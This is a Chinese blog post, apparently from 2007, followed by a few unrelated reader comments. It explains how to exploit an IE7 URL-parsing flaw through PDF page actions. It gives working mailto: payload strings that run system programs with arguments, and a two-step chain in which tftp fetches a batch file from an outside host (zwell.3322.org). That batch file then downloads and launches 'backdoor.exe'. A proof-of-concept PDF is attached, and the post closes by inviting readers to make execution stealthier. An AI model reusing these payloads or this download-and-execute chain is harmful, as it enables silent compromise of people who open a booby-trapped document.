关于URL解析漏洞在PDF文档中的利用
作者:zwell
来源:NOSEC
右键另存再打开测试文档,否则会调用IE的插件打开,测试会失败。如果你硬要通过点击打开的话,点击这里吧,嘿嘿,这本身也是IE的一个解析漏洞。
在 http://seclists.org/fulldisclosure/2007/Oct/0068.html 看到这个漏洞的时候,一时还没有想到怎么利用。后来结合去年有一个关于pdf actions安全隐患的这么一个问题(参看 http://michaeldaw.org/md-hacks/backdooring-pdf-files/ ),pdf中的actions中打开页面的事件刚好可以用来利用。
Petko Petkov之前放出话说pdf的0day应该也就是指的是这个漏洞了。利用这个漏洞首先需要安装IE7,在URL解析时遇到百分号(%)会执行后面的程序。放出来的利用方式为:
mailto:test%../../../../windows/system32/calc.exe".cmd
http:%xx../../../../../../../../../../../windows/system32/calc.exe".bat
利用这种URL咱们可以执行系统中的任意命令了,但是有一点用处的系统命令都得加参数才能用啊。怎么加入参数呢?反正放在.cmd前就行,但是必须放在引号(")后面,呵呵,其实没的选。经过测试,下面的语句就ok了:
mailto:test%../../../../windows/system32/net.exe" “user”.cmd
要有多个参数的话就的
mailto:test%../../../../windows/system32/xxx.exe" “argv1” ”argv2“.cmd
到这里,基本上大家也就有了利用办法了,网络COPY命令,TFTP等都行啊。不过得分两步:
1.下载程序
2.执行程序
还有一点要注意的,最好在打开页面事件和关闭页面时间中加入上面两步,以免因为网速问题造成程序执行不成功。
mailto:test%..\..\..\..\windows\system32\tftp.exe" "-i" "zwell.3322.org" "GET" "a.bat" "c:\a".cmd
mailto:test%..\..\..\..\windows\system32\cmd.exe" "/c c:\a".cmd
在zwell.3322.org上我搭建了一个TFTP服务器,里面放有一个a.cmd,内容就是再去下载执行一个程序。
在pdf打开首页时执行第一条指令,下载服务器上的a.bat,保存为a.cmd(为什么是cmd,大家可以思考一下)。
在离开该页面时,再执行已经下载的a.cmd,其实他是个bat文件,内容是:
cmd /c tftp -i zwell.3322.org GET backdoor.exe c:\b.exe
start c:\b.exe
好了,现在下载了backdoor.exe程序(这只是一个notepad程序,我重命名了)并且执行了。gameover。
现在有一个最大的问题:每次打开文件都会闪一个命令行出来!如何解决呢?;)
附件:
pdf_poc.pdf 8.05 KB
pdf_poc.exe 8.05 KB
jiayou
鬼仔,那个我申请成功了。把那个ID换成dupola就看到了。。。或者去我blog你留言那篇文章里看,我更新了一下。
不过,我还没学会怎么使用代理…………
但我相信,很快我就搞定了。
用VBS写咋样?